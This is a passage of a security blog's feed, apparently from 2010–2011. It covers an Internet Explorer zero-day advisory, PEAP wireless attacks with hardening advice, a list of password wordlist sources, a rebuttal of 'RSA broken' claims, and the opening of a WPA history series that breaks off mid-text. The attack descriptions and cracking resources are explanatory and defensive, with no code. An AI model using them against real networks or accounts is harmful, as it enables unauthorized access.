&lt;a href="http://feedads.g.doubleclick.net/~a/Bdq3EN1AbGn7gAolsYOWVjVbMU8/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Bdq3EN1AbGn7gAolsYOWVjVbMU8/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.defenceindepth.net/feeds/1608579265021980760/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.defenceindepth.net/2011/04/attacking-lmntlmv1-challengeresponse.html#comment-form" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/248147735868857337/posts/default/1608579265021980760?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/248147735868857337/posts/default/1608579265021980760?v=2" /><link rel="alternate" type="text/html" href="http://www.defenceindepth.net/2011/04/attacking-lmntlmv1-challengeresponse.html" title="LM/NTLMv1 Challenge/Response Authentication Explained" /><author><name>Patrick Dunstan</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://lh3.ggpht.com/_sSaQ0kp40gY/Ta6Wz2WpvCI/AAAAAAAAADs/3Zl9ZntghMg/s72-c/auth_thumb%5B17%5D.jpg?imgmax=800" height="72" width="72" /><thr:total>1</thr:total></entry><entry gd:etag="W/&quot;CkAMQHk4cCp7ImA9Wx9XFEg.&quot;"><id>tag:blogger.com,1999:blog-248147735868857337.post-1722877687475540586</id><published>2011-01-03T17:08:00.000-08:00</published><updated>2011-01-07T17:39:41.738-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-01-07T17:39:41.738-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="java" /><category scheme="http://www.blogger.com/atom/ns#" term="internet explorer" /><category scheme="http://www.blogger.com/atom/ns#" term="ie" /><category scheme="http://www.blogger.com/atom/ns#" term="dep" /><category scheme="http://www.blogger.com/atom/ns#" term="aslr" /><category scheme="http://www.blogger.com/atom/ns#" term="vulnerability" /><category scheme="http://www.blogger.com/atom/ns#" term="metasploit" /><category scheme="http://www.blogger.com/atom/ns#" term="microsoft" /><category scheme="http://www.blogger.com/atom/ns#" term="emet" /><title>Internet Explorer 0-Day: CVE-2010-3971</title><content type="html">On December 22, 2010 Microsoft released &lt;a href="http://www.microsoft.com/technet/security/advisory/2488013.mspx"&gt;an advisory&lt;/a&gt; stating that they are “...investigating new, public reports of targeted attacks attempting to exploit a vulnerability in all supported versions of Internet Explorer.” The vulnerability in question, &lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3971"&gt;CVE-2010-3971&lt;/a&gt;, allows attackers to execute arbitrary code in the context of the Internet Explorer application. Failed exploit attempts will result in denial-of-service conditions.&lt;br /&gt;&lt;br /&gt;Microsoft states that the vulnerability exists due to “the creation of uninitialized memory during a CSS function within Internet Explorer.” The exploit takes advantage of the Internet Explorer DLL mscorie.dll having not been opted in to support address space layout randomization (ASLR). More details on the exact cause of this vulnerability can be found &lt;a href="http://blogs.technet.com/b/srd/archive/2010/12/22/new-internet-explorer-vulnerability-affecting-all-versions-of-ie.aspx"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;This vulnerability is currently being exploited in the wild. Metasploit module &lt;span style="font-style: italic;"&gt;ms11_xxx_ie_css_import&lt;/span&gt; has recently been uploaded to exploit this vulnerability. Offensive Security can be seen demonstrating the exploit &lt;a href="http://www.offensive-security.com/offsec/internet-explorer-css-0day-on-windows-7/"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Microsoft is currently recommending users download the &lt;a href="http://blogs.technet.com/b/srd/archive/2010/09/02/enhanced-mitigation-experience-toolkit-emet-v2-0-0.aspx"&gt;Enhanced Mitigation Experience Toolkit (MET)&lt;/a&gt; and opt-in Internet Explorer to mitigate this vulnerability.&lt;br /&gt;&lt;br /&gt;For more details on DEP/ASLR please see the following links:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://blogs.technet.com/b/srd/archive/2010/12/08/on-the-effectiveness-of-dep-and-aslr.aspx"&gt;http://blogs.technet.com/b/srd/archive/2010/12/08/on-the-effectiveness-of-dep-and-aslr.aspx&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://blogs.technet.com/b/srd/archive/2009/06/12/understanding-dep-as-a-mitigation-technology-part-1.aspx"&gt;http://blogs.technet.com/b/srd/archive/2009/06/12/understanding-dep-as-a-mitigation-technology-part-1.aspx&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/248147735868857337-1722877687475540586?l=www.defenceindepth.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/YpRPHNeRKbEYLHzaqLM9qvNCMWw/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/YpRPHNeRKbEYLHzaqLM9qvNCMWw/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/YpRPHNeRKbEYLHzaqLM9qvNCMWw/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/YpRPHNeRKbEYLHzaqLM9qvNCMWw/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.defenceindepth.net/feeds/1722877687475540586/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.defenceindepth.net/2011/01/internet-explorer-0-day-cve-2010-3971.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/248147735868857337/posts/default/1722877687475540586?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/248147735868857337/posts/default/1722877687475540586?v=2" /><link rel="alternate" type="text/html" href="http://www.defenceindepth.net/2011/01/internet-explorer-0-day-cve-2010-3971.html" title="Internet Explorer 0-Day: CVE-2010-3971" /><author><name>Patrick Dunstan</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total></entry><entry gd:etag="W/&quot;A0EBRXk7fyp7ImA9WxFXEUU.&quot;"><id>tag:blogger.com,1999:blog-248147735868857337.post-8300211279346344136</id><published>2010-05-17T23:12:00.000-07:00</published><updated>2010-05-18T06:34:14.707-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-05-18T06:34:14.707-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="radius" /><category scheme="http://www.blogger.com/atom/ns#" term="wpa2" /><category scheme="http://www.blogger.com/atom/ns#" term="wpa" /><category scheme="http://www.blogger.com/atom/ns#" term="eap" /><category scheme="http://www.blogger.com/atom/ns#" term="wireless" /><category scheme="http://www.blogger.com/atom/ns#" term="wifi" /><category scheme="http://www.blogger.com/atom/ns#" term="peap" /><title>Attacking and Securing PEAP</title><content type="html">Protected Extensible Authentication Protocol (PEAP) is often regarded as a secure 802.11 wireless authentication protocol. Whilst PEAP has the ability to become a secure protocol it is certainly not without its deficiencies. I thought I would take this opportunity to provide everyone with an overview of the PEAP protocol by examining what it is, how it works, where its shortcomings lie, and how to secure it.&lt;br /&gt;&lt;br /&gt;Before we dive into the security concerns surrounding PEAP it is important to know there are currently three versions of the PEAP standard. The version I will be referencing throughout the remainder of this post will be PEAPv0. This is the most common deployment of the PEAP standard.&lt;br /&gt;&lt;br /&gt;PEAP is a widely deployed Extensible Authentication Protocol (EAP) type used to securely authenticate users against 802.11 wireless networks. Developed by Microsoft, Cisco and RSA, PEAP has been made popular through its continued support by the Microsoft Windows platform. Unlike other EAP types which have the ability to support a range of inner-authentication methods, PEAP can only authenticate clients using Microsoft’s challenge-handshake authentication protocol known as MS-CHAPv2.&lt;br /&gt;&lt;br /&gt;Whilst several deficiencies have been discovered over the years in the MS-CHAPv2 protocol, PEAP overcomes these by protecting the MS-CHAPv2 authentication exchange through the establishment of a transport layer security (TLS) tunnel. Through the use of digital certificates PEAP is able to authenticate users over the MS-CHAPv2 protocol in a secure manner.&lt;br /&gt;The PEAP authentication process can be summarized as follows:&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Identity information is exchanged (in plain-text) between the supplicant and authenticator.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;A secure TLS tunnel is established via a server side digital certificate.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Identity information is exchanged again within the TLS tunnel using the MS-CHAPv2 inner-authentication method.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;The pair-wise master key (PMK) is sent from the Remote Authentication Dial-in User Service (RADIUS) server to the supplicant within the encrypted tunnel.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;The PMK is sent from to the RADIUS sever to the access point (AP).&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Encryption commences between the supplicant and AP.&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_sSaQ0kp40gY/S_Iwd1EE9CI/AAAAAAAAABw/4fmcY7BY72I/s1600/Diagram1.jpeg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 306px;" src="http://4.bp.blogspot.com/_sSaQ0kp40gY/S_Iwd1EE9CI/AAAAAAAAABw/4fmcY7BY72I/s320/Diagram1.jpeg" alt="" id="BLOGGER_PHOTO_ID_5472489786227094562" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Attacking PEAP&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;There are three main attacks which can be used against the PEAP protocol:&lt;br /&gt;&lt;br /&gt;1.     Authentication Attack&lt;br /&gt;&lt;br /&gt;The PEAP authentication attack is a primitive means of gaining unauthorized access to PEAP networks. By sniffing usernames from the initial (unprotected) PEAP identity exchange an attacker can attempt to authenticate to the target network by ‘guessing’ user passwords. This attack is often ineffective as the authenticator will silently ignores bad login attempts ensuring a several second delay exists between login attempts. Whilst a lockout policy will also defend against this type of attack, failed login attempts could trigger a denial of service (DoS) attack on the network.&lt;br /&gt;&lt;br /&gt;2.    Key Distribution Attack&lt;br /&gt;&lt;br /&gt;The key distribution attack exploits a weakness in the RADIUS protocol. Whilst this attack is not specific to PEAP deployments, it is often regarded as the weakest point in an 802.11 PEAP/WPA infrastructure.&lt;br /&gt;&lt;br /&gt;The key distribution attack relies on an attacker capturing the PMK transmission between the RADIUS server and the AP. As the PMK is transmitted outside of the TLS tunnel, its protection is solely reliant on the RADIUS server’s HMAC-MD5 hashing algorithm. Should an attacker be able to leverage a man-in-the-middle attack between the AP and RADIUS sever, a brute-force attempt could be made to crack the RADIUS shared secret. This would ultimately provide the attacker with access to the PMK – allowing full decryption of all traffic between the AP and supplicant.&lt;br /&gt;&lt;br /&gt;3.    RADIUS Impersonation Attack&lt;br /&gt;&lt;br /&gt;The RADIUS impersonation attack relies on users being left with the decision to trust or reject certificates from the authenticator. Attackers can exploit this deployment weakness by impersonating the target network’s AP service set identifier (SSID) and RADIUS server. Once both the RADIUS server and AP have been impersonated the attacker can issue a ‘fake’ certificate to the authenticating user. After the certificate has been accepted by the user the client will proceed to authenticate via the inner authentication mechanism. This allows the attacker to capture the MSCHAPv2 challenge/response and attempt to crack it offline.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Securing PEAP &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;In order to secure PEAP deployments from RADIUS impersonation and authentication attacks the following client-side configurations should be deployed:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_sSaQ0kp40gY/S_Iw64pFxnI/AAAAAAAAAB4/9Ga-qr5YadI/s1600/peap.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 223px; height: 320px;" src="http://1.bp.blogspot.com/_sSaQ0kp40gY/S_Iw64pFxnI/AAAAAAAAAB4/9Ga-qr5YadI/s320/peap.jpg" alt="" id="BLOGGER_PHOTO_ID_5472490285403850354" border="0" /&gt;&lt;/a&gt;&lt;ol&gt;&lt;li&gt;Ensure the common name (CN) of the RADIUS server’s certificate is defined. This setting will ensure clients only accept certificates that contain the specified CN.&lt;/li&gt;&lt;br /&gt;&lt;br /&gt;&lt;li&gt;Select only the trusted certificate authority (CA) that will be issuing the certificates. This will prevent attackers from using a certificate with the required CN but signed by a different CA.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;By not prompting users to authorize new servers the decision to accept or reject certificates from unidentified RADIUS servers is taken away from the user. This setting will silently drop all requests whose certificate CN does not match that which is specified in Step 1.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;By supplying an “anonymous” identity during the initial PEAP identity exchange attackers will be unable to leverage unencrypted usernames. This setting prevents against PEAP authentication attacks. &lt;span style="font-style: italic;"&gt;Note: This configuration setting is only available in Windows 7 and above.&lt;/span&gt;&lt;/li&gt;&lt;br /&gt;&lt;/ol&gt;To secure PEAP against key distribution attacks it is recommended that RADIUS shared secret is least 16 characters in length, consisting of a mixed-alphanumeric character set. The RADIUS shared secret should also be rotated on a semi-regular basis.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/248147735868857337-8300211279346344136?l=www.defenceindepth.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/KcpBDxwln9uqKqVpBgl09sHL-cA/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/KcpBDxwln9uqKqVpBgl09sHL-cA/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/KcpBDxwln9uqKqVpBgl09sHL-cA/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/KcpBDxwln9uqKqVpBgl09sHL-cA/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.defenceindepth.net/feeds/8300211279346344136/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.defenceindepth.net/2010/05/attacking-and-securing-peap.html#comment-form" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/248147735868857337/posts/default/8300211279346344136?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/248147735868857337/posts/default/8300211279346344136?v=2" /><link rel="alternate" type="text/html" href="http://www.defenceindepth.net/2010/05/attacking-and-securing-peap.html" title="Attacking and Securing PEAP" /><author><name>Patrick Dunstan</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/_sSaQ0kp40gY/S_Iwd1EE9CI/AAAAAAAAABw/4fmcY7BY72I/s72-c/Diagram1.jpeg" height="72" width="72" /><thr:total>1</thr:total></entry><entry gd:etag="W/&quot;CUAEQXo6eSp7ImA9WxFQEE8.&quot;"><id>tag:blogger.com,1999:blog-248147735868857337.post-1088546295116611270</id><published>2010-05-04T17:20:00.000-07:00</published><updated>2010-05-04T18:41:40.411-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-05-04T18:41:40.411-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="wordlist" /><category scheme="http://www.blogger.com/atom/ns#" term="crack" /><category scheme="http://www.blogger.com/atom/ns#" term="password" /><category scheme="http://www.blogger.com/atom/ns#" term="cracking" /><category scheme="http://www.blogger.com/atom/ns#" term="dictionary" /><title>Password Wordlists and Dictionaries</title><content type="html">Password &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;wordlists&lt;/span&gt; and dictionaries are an often imperative resource for any password auditing exercise. I thought I would take this opportunity to consolidate a list of &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;wordlists&lt;/span&gt;/dictionaries for ease of access. Please feel free to post any resources I have omitted in the comments below.&lt;br /&gt;&lt;br /&gt;I will periodically update this post with any new resources I come across.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://ftp.sunet.se/pub/security/too...all/wordlists/"&gt;http://ftp.sunet.se/pub/security/too...all/wordlists/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.skullsecurity.org/wiki/index.php/Passwords"&gt;http://www.skullsecurity.org/wiki/index.php/Passwords&lt;/a&gt;&lt;br /&gt;&lt;a href="ftp://ftp.ox.ac.uk/pub/wordlists/"&gt;ftp://ftp.ox.ac.uk/pub/wordlists/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://gdataonline.com/downloads/GDict/"&gt;http://gdataonline.com/downloads/GDict/&lt;/a&gt;&lt;br /&gt;&lt;a href="ftp://ftp.openwall.com/pub/wordlists/"&gt;ftp://ftp.openwall.com/pub/wordlists/&lt;/a&gt;&lt;br /&gt;&lt;a href="ftp://ftp.openwall.com/pub/wordlists/"&gt;ftp://ftp.cerias.purdue.edu/pub/dict/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.indianz.ch/tools/doc/wordlist.zip"&gt;http://www.indianz.ch/tools/doc/wordlist.zip&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.outpost9.com/files/WordLists.html"&gt;http://www.outpost9.com/files/WordLists.html&lt;/a&gt;&lt;br /&gt;&lt;a href="ftp://ftp.openwall.com/pub/wordlists/passwords/"&gt;ftp://ftp.openwall.com/pub/wordlists/passwords/&lt;/a&gt;&lt;br /&gt;&lt;a href="https://www.securinfos.info/wordlists_dictionnaires.php"&gt;https://www.securinfos.info/wordlists_dictionnaires.php&lt;/a&gt;&lt;br /&gt;&lt;a href="ftp://ftp.ox.ac.uk/pub/wordlists/"&gt;ftp://ftp.ox.ac.uk/pub/wordlists/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.lostpassword.com/f/wl/bigdict.zip"&gt;http://www.lostpassword.com/f/wl/bigdict.zip&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.lostpassword.com/f/wl/French.zip"&gt;http://www.lostpassword.com/f/wl/French.zip&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.lostpassword.com/f/wl/Spanish.zip"&gt;http://www.lostpassword.com/f/wl/Spanish.zip&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.lostpassword.com/f/wl/German.zip"&gt;http://www.lostpassword.com/f/wl/German.zip&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.vulnerabilityassessment.co.uk/passwords.htm"&gt;http://www.vulnerabilityassessment.co.uk/passwords.htm&lt;/a&gt;&lt;br /&gt;&lt;a href="http://packetstormsecurity.org/Crackers/wordlists/"&gt;http://packetstormsecurity.org/Crackers/wordlists/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.ai.uga.edu/ftplib/natural-language/moby/"&gt;http://www.ai.uga.edu/ftplib/natural-language/moby/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.cotse.com/"&gt;http://www.cotse.com&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.cotse.com/tools/wordlists1.htm"&gt;http://www.cotse.com/tools/wordlists1.htm&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.cotse.com/tools/wordlists2.htm"&gt;http://www.cotse.com/tools/wordlists2.htm&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.openwall.com/mirrors/"&gt;http://www.openwall.com/mirrors/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://gdataonline.com/downloads/GDict/"&gt;http://gdataonline.com/downloads/GDict/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://blog.sebastien.raveau.name/search/label/wordlist"&gt;http://blog.sebastien.raveau.name/search/label/wordlist&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.theargon.com/achilles/wordlists/"&gt;http://www.theargon.com/achilles/wordlists/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://theargon.com/achilles/wordlists/theargonlists/"&gt;http://theargon.com/achilles/wordlists/theargonlists/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.insidepro.com/eng/download.shtml"&gt;http://www.insidepro.com/eng/download.shtml&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.word-list.com/"&gt;http://www.word-list.com/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://wordlist.sourceforge.net/"&gt;http://wordlist.sourceforge.net/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/248147735868857337-1088546295116611270?l=www.defenceindepth.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/xNtg5pbdNYmByTcCXdbH-4WaaTE/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/xNtg5pbdNYmByTcCXdbH-4WaaTE/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/xNtg5pbdNYmByTcCXdbH-4WaaTE/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/xNtg5pbdNYmByTcCXdbH-4WaaTE/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.defenceindepth.net/feeds/1088546295116611270/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.defenceindepth.net/2010/05/password-wordlists-and-dictionaries.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/248147735868857337/posts/default/1088546295116611270?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/248147735868857337/posts/default/1088546295116611270?v=2" /><link rel="alternate" type="text/html" href="http://www.defenceindepth.net/2010/05/password-wordlists-and-dictionaries.html" title="Password Wordlists and Dictionaries" /><author><name>Patrick Dunstan</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total></entry><entry gd:etag="W/&quot;DEcBSXo9eip7ImA9WhRREUs.&quot;"><id>tag:blogger.com,1999:blog-248147735868857337.post-2462222667720662922</id><published>2010-03-14T06:30:00.000-07:00</published><updated>2011-11-24T12:20:58.462-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-11-24T12:20:58.462-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="rsa" /><category scheme="http://www.blogger.com/atom/ns#" term="crack" /><category scheme="http://www.blogger.com/atom/ns#" term="news" /><category scheme="http://www.blogger.com/atom/ns#" term="cracking" /><category scheme="http://www.blogger.com/atom/ns#" term="research" /><category scheme="http://www.blogger.com/atom/ns#" term="encryption" /><title>RSA Encryption Broken</title><content type="html">A recent &lt;a href="http://www.engadget.com/2010/03/09/1024-bit-rsa-encryption-cracked-by-carefully-starving-cpu-of-ele/"&gt;Engadget article&lt;/a&gt; made popular through reddit.com and digg.com has (incorrectly) claimed that 1024-bit RSA encryption has been cracked and is no longer secure. I would like to reassure everyone that the &lt;a href="http://en.wikipedia.org/wiki/Rsa"&gt;RSA algorithm&lt;/a&gt; is indeed  cryptographically secure, with the Engadget article nothing more than  poorly researched journalism.&lt;br /&gt;
&lt;br /&gt;
The research in question, titled &lt;a href="http://www.eecs.umich.edu/%7Evaleria/research/publications/DATE10RSA.pdf"&gt;Fault-Based Attack of RSA Authentication&lt;/a&gt;,  actually describes how a private key can be recovered by injecting power faults into a system by manipulating a computer's voltage supply. Vulnerabilities found within both the OpenSSL implementation of RSA and circuit-level vulnerabilities in digital hardware devices have made the attack possible.&lt;br /&gt;
&lt;br /&gt;
Attacks on the hardware and software surrounding private keys are nothing new, however. In 2008, researchers at Princeton University released a &lt;a href="http://citp.princeton.edu/pub/coldboot.pdf"&gt;paper&lt;/a&gt; on the preservation and extraction of encryption keys from random access memory (RAM) through the use of a freezing process. Their research can be seen &lt;a href="http://citp.princeton.edu/memory/"&gt;here&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
Whilst interesting, the newly described research is far from world-ending. In order for this attack to be successfuly implemented, both physical access to the target machine and access to a large cluster of machines is required -- leaving this form of an attack with a very limited scope.&lt;br /&gt;
&lt;br /&gt;
The Engadget author foolishly concludes his article by hoping "...RSA [will] hopefully fix the flaw".&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/248147735868857337-2462222667720662922?l=www.defenceindepth.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/2f33N1t0H30PmcNw1DuZFklM2iI/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/2f33N1t0H30PmcNw1DuZFklM2iI/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/2f33N1t0H30PmcNw1DuZFklM2iI/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/2f33N1t0H30PmcNw1DuZFklM2iI/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.defenceindepth.net/feeds/2462222667720662922/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.defenceindepth.net/2010/03/rsa-encryption-broken.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/248147735868857337/posts/default/2462222667720662922?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/248147735868857337/posts/default/2462222667720662922?v=2" /><link rel="alternate" type="text/html" href="http://www.defenceindepth.net/2010/03/rsa-encryption-broken.html" title="RSA Encryption Broken" /><author><name>Patrick Dunstan</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total></entry><entry gd:etag="W/&quot;Ck8EQ3o5eyp7ImA9WxBUFEw.&quot;"><id>tag:blogger.com,1999:blog-248147735868857337.post-5534511726803167704</id><published>2010-02-27T06:02:00.001-08:00</published><updated>2010-02-28T18:33:22.423-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-02-28T18:33:22.423-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="tkip" /><category scheme="http://www.blogger.com/atom/ns#" term="wpa2" /><category scheme="http://www.blogger.com/atom/ns#" term="802.11" /><category scheme="http://www.blogger.com/atom/ns#" term="wpa" /><category scheme="http://www.blogger.com/atom/ns#" term="history" /><category scheme="http://www.blogger.com/atom/ns#" term="wireless" /><category scheme="http://www.blogger.com/atom/ns#" term="wifi" /><category scheme="http://www.blogger.com/atom/ns#" term="ccmp" /><category scheme="http://www.blogger.com/atom/ns#" term="aes" /><title>Is WPA Secure?  - Part 1</title><content type="html">&lt;p&gt;Recently I have noticed quite a bit of conjecture surrounding the Wi-Fi Protected Access (WPA) protocol and its use. With media hysteria now promoting WPA as&lt;a href="http://blogs.zdnet.com/gadgetreviews/?p=471"&gt; no longer secure&lt;/a&gt;, wireless security has, unfortunately, become another great unknown to many people.&lt;/p&gt;  &lt;p&gt;In this three-part series I would like to delve into the WPA protocol and provide a background on its history, how it works and assess whether WPA is indeed insecure. By the end of this series I will have provided a foundation which will hopefully help answer two of the most common questions surrounding the wireless-security space: “Is WPA secure?” and “Should I be using WPA?”.&lt;/p&gt;  &lt;p&gt;To be comfortable in understanding the insecurities of the WPA protocol, Part 1 of this series will provide a brief background on 802.11 security.&lt;/p&gt;  &lt;p&gt;Designed as a basic security measure to secure 802.11 wireless networks, Wired Equivalent Privacy (WEP) was implemented to provide simple confidentiality to wireless networks. Soon after its inception, weaknesses were being discovered in the WEP protocol. Among these weaknesses were:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;key selection weaknesses,&lt;/li&gt;    &lt;li&gt;no replay protection,&lt;/li&gt;    &lt;li&gt;weak message integrity checking,&lt;/li&gt;    &lt;li&gt;no key rotation mechanism,&lt;/li&gt;    &lt;li&gt;short initialization vector (IV),&lt;/li&gt;    &lt;li&gt;pseudo-random generation algorithm (PRGA) revealed in challenge/response, and&lt;/li&gt;    &lt;li&gt;key was reversible from cipher-text.&lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;By 2007, attacking WEP had become so effective that the cracking probability of a 104-bit WEP key was:&lt;/p&gt;  &lt;ul&gt;   &lt;ul&gt;     &lt;li&gt;50% success after 60 seconds&lt;/li&gt;      &lt;li&gt;80% success after 90 seconds&lt;/li&gt;      &lt;li&gt;95% success after 128 seconds&lt;/li&gt;   &lt;/ul&gt; &lt;/ul&gt;  &lt;p&gt;&lt;em&gt;Source:&lt;/em&gt; &lt;a href="http://eprint.iacr.org/2007/120.pdf"&gt;Tews, E, Weinmann, R, Pyshkin A 2007, Breaking 104 bit WEP in less than 60 seconds&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;To combat the deficiencies of the WEP protocol, the &lt;a 